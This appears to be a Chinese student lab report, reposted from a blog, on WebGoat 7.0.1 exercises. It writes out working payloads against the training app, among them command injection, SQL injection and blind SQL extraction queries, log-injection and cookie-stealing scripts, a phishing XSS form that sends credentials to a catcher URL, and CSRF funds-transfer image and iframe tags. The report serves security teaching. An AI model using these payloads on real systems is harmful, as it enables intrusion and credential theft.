原理:
防御:
原理:
防御:
原理:
防御:
WebGoat是OWASP组织研制出的用于进行web漏洞实验的应用平台,用来说明web应用中存在的安全漏洞。WebGoat运行在带有java虚拟机的平台之上,当前提供的训练课程有30多个,其中包括:跨站点脚本攻击(XSS)、访问控制、线程安全、操作隐藏字段、操纵参数、弱会话cookie、SQL盲注、数字型SQL注入、字符串型SQL注入、web服务、Open Authentication失效、危险的HTML注释等等。WebGoat提供了一系列web安全学习的教程,某些课程也给出了视频演示,指导用户利用这些漏洞进行攻击。
java -jar webgoat-container-7.0.1-war-exec.jar
.当显示如下图的Starting ProtocolHandler ["http-bio-8080"]
时,可进行下一步操作。使用过程中不要关闭终端。
浏览器打开http://127.0.0.1:8080/WebGoat/login.mvc
,如下图有登录的账号和密码,用guest登录即可。
登录后即可看到如下图所示的各个实验教程。solution
是答案,hints
是提示。
右键表单选择框的下拉框,选择Inspect Element(Q),然后修改源代码。
"& netstat -an & ipconfig"
。选择这个修改后的选项,点击View
可以发现在这个页面中能看到网络端口使用情况和IP地址。通过这种方式实现了攻击。
如果不攻击的话,是下图的情况。
(2)数字型SQL注入(Numeric SQL Injection)
SELECT * FROM weather_data WHERE station = [station]
Inspect Element(Q)
,然后修改源代码。在某个选项的value
值后面,加上代码 or 1=1
,使该式子成为永真式。
SELECT * FROM weather_data WHERE station = 101 or 1 = 1
。由于后面是永真式,这样会执行语句 SELECT * FROM weather_data
,可以查询到所有的信息。
admin
的用户在日志中显示“成功登录”。升级您的攻击,例如:在日志文件中插入脚本。在user name
一栏中输入DQY Login Succeeded for username: admin
,密码随意输入。提交后可以发现,灰色区域的用户名后面的信息会在同一行显示,而不是在新的一行。
还可以往该应用中注入回车(0D%)
和换行符(%0A)
。在 username
中填入20165114%0d%0aLogin Succeeded for username: admin
,这样就完成了该课程.
攻击者还可以利用这种方式向日志文件中添加恶意脚本,脚本的返回信息管理员能够通过浏览器看到。如果把admin <script>alert(document.cookie)</script>
作为用户名输入,能够获得登录用户的cookie
。
(4)字符串型注入(String SQL Injection)
由于密码的长度有限制,所以我们先修改密码输入框的允许输入长度。将maxlength
设置为20甚至更大。
可以用admin
的身份登录,密码框里输入‘ or 1=1 --
,然后就能成功以Necille
的身份登录成功。可以查看任意用户的信息等等。
可以编辑用户信息、删除信息等等。注入成功。
(5)LAB: SQL Injection 之 Stage 3: 数字型 SQL 注入(Stage 3: Numeric SQL Injection)
首先使用用户名Larry
和密码larry
登录,浏览员工信息的按钮是ViewProfile
。
在员工ID:101后面加上or 1=1 order by salary desc
进行SQL注入排序,其中desc
表示使用降序排列。
如下图,看见了老板的信息,还可以修改,攻击成功。
(6)数字型盲注入(Blind Numeric SQL Injection)
SELECT * FROM user_data WHERE userid=accountNumber;
101 AND 1=1
101 AND 1=2
101 AND ((SELECT pin FROM pins WHERE cc_number=‘1111222233334444‘) > 10000 );
PIN>10000
否则PIN<=10000
。不断调整数值,可以缩小判断范围,并最终判断出 PIN 数值的大小。101 AND ((SELECT pin FROM pins WHERE cc_number=‘1111222233334444‘) = 2364 );
2364
并提交,通过本节课程。
(7)字符串型盲注入(Blind String SQL Injection)
varchar
。101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number=‘4321432143214321‘), 1, 1) <‘H‘ );
该语句使用了SUBSTRING方法,取得pin字段数值的第一个字母,并判断其是否比字母“H”小。SUBSTRING 语法如下:SUBSTRING(STRING,START,LENGTH)
经过多次测试(比较0-9A-Za-z等字符串)和页面的返回数据,判断出第一个字符为“J”
。
101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number=‘4321432143214321‘), 2, 1) <‘h‘ );
最终,判断出pin字段的值为:Jill
。提交该值,通过本节课程。
http://localhost/WebGoat/catcher?PROPERTY=yes&user=catchedUserName&password=catchedPasswordNam
<form>
<br><br><HR><H3>This feature requires account login:</H3 ><br><br>
Enter Username:<br><input type="text" id="user" name="user"><br>
Enter Password:<br><input type="password" name = "pass"><br>
</form><br><br><HR>
3 搜索这段代码,您就能看到页面中增加了一个表单。
4 现在您需要一段脚本:
<script>
function hack()
{
alert("Had this been a real attack... Your credentials were just stolen." User Name = " +document.forms[0].user.value + "Password = " +document.forms[0].pass.value); XSSImage=new Image; XSSImage.src="http://localhost/WebGoat/catcher?PROPERTY=yes&user="+document.forms[0].user.value + "&password=" +document.forms[0].pass.value + "";
}
</script>
5 最后,就是要将这两段代码合并。最终需要输入的代码如下:
</form><script>function hack(){ XSSImage=new Image; XSSImage.src="http://localhost/WebGoat/catcher?PROPERTY=yes&user="+ document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + "Password = " + document.phish.pass.value);} </script><form name="phish"><br><br><HR><H3>This feature requires account login:</H3 ><br><br>Enter Username:<br><input type="text" name="user"><br>Enter Password:<br><input type="password" name = "pass"><br><input type="submit" name="login" value="login" onclick="hack()"></form><br><br><HR>
6 这段代码会读取您在表单上输入的用户名和密码信息,将这些信息发送给捕获这些信息的 WebGoat。
(2)存储型XSS攻击(Stored XSS Attacks)
title
中任意输入字符。在Message
中输入以下代码:<script>alert(‘20165114‘)</script>
。20165114
,证明 XSS 攻击成功。3 或者更为复杂的,如果用以下的代码。
<head>
<body>
<div> <div style="float:left;height:100px;width:50%;background-color:yellow;"></div>
<div style="float:left;height:100px;width:50%;background-color:orange;"></div>
</div> <div style="background-color:grey;height:200px;clear:both;"></div>
</div></div>
</form>
<script> function hack()
{
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert("attack.???ˉ???????????ˉ???????????ˉ???????????ˉ???????????ˉ???????????ˉ???????? Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
}
</script>
<form name="phish"> <br> <br> <HR>
<H2>This feature requires account login:</H2> <br>
<br>Enter Username:<br> <input type="text" name="user">
<br>Enter Password:<br> <input type="password" name = "pass"> <br>
<input type="submit" name="login" value="login" onclick="hack()">
</form> <br> <br> <HR>
</body>
</head>
4 点击链接之后,会出现黄色、橙色、灰色的div滑块,下面还会出现输入用户名和密码的表单。
5 如果受害者输入就会成功被截获用户名和密码。如下图:
(3)反射型XSS攻击(Reflected XSS Attacks)
1 在Enter your three digit access code
中输入如下代码:<script>alert(‘you are a loser!‘)</script>
。
2 点击Purchase
,成功显示警告框,内容为我们script脚本写的you are a loser!
。攻击成功。
(1)跨站请求伪造(Cross Site Request Forgery (CSRF))
- 原理:跨站请求伪造是一种让受害者加载一个包含网页的图片的一种攻击手段。如下代码所示:
<img src="http://www.mybank.com/sendFunds.do?acctId=123456"/>
。
当受害者的浏览器试图打开这个页面时,它会使用指定的参数向www.mybank.com的transferFunds.do页面发送请求。浏览器认为将会得到一个图片,但实际上是一种资金转移功能。该请求将包括与网站相关的任何cookies。因此,如果用户已经通过网站的身份验证,并有一个永久的cookie,甚至是当前会话的cookie,网站将没有办法区分这是否是一个从合法用户发出的请求。通过这种方法,攻击者可以让受害者执行一些他们本来没打算执行的操作,如注销、采购项目或者这个脆弱的网站提供的任何其他功能。- 目的:向一个新闻组发送一封邮件,邮件中包含一张图片,这个图像的 URL 指向一个恶意请求。尝试一个包括 1*1像素的图像,其中包含一个网址。这个URL应当用一个额外的参数“transferFunds= 4000”指向CRSF课程页面。您可以通过左侧菜单在CSRF课程连接上右键单击,选择复制快捷方式。无论谁收到这封邮件,并恰好已经通过身份验证,他的资金将会被转走。
- 注意:不同 WebGoat 环境的URL中“Screen ”和“Menu”参数可能会有所区别。请使用当前访问 URL 中正在使用的参数。
根据当前访问 URL中的scr和menu在消息框中嵌入 HTML 代码。这段代码中包含一个图片,链接到一个网站。<img src="http://localhost/WebGoat/attack?Screen=273&menu=2900&transferFunds=5000" width="1" height="1" />
。
提交后会发现链接,点击该链接。
点击该链接,当前页面就会下载这个消息并显示出来,转走用户的5000元,CSRF攻击就成功了。
(2)绕过CSRF确认(CSRF Prompt By‐Pass)
<iframe src="attack?Screen=277&menu=900&transferFunds=5114"> </iframe>
<iframe src="attack?Screen=277&menu=900&transferFunds=CONFIRM"> </iframe>
前端安全系列(一):如何防止XSS攻击?
CSRF 攻击原理和防御方法
总结 XSS 与 CSRF 两种跨站攻击
WebGoat+中文手册+v2.2
2018-2019-2 《网络对抗技术》Exp9 Web安全基础 20165114
原文:https://www.cnblogs.com/erinwhere/p/10923811.html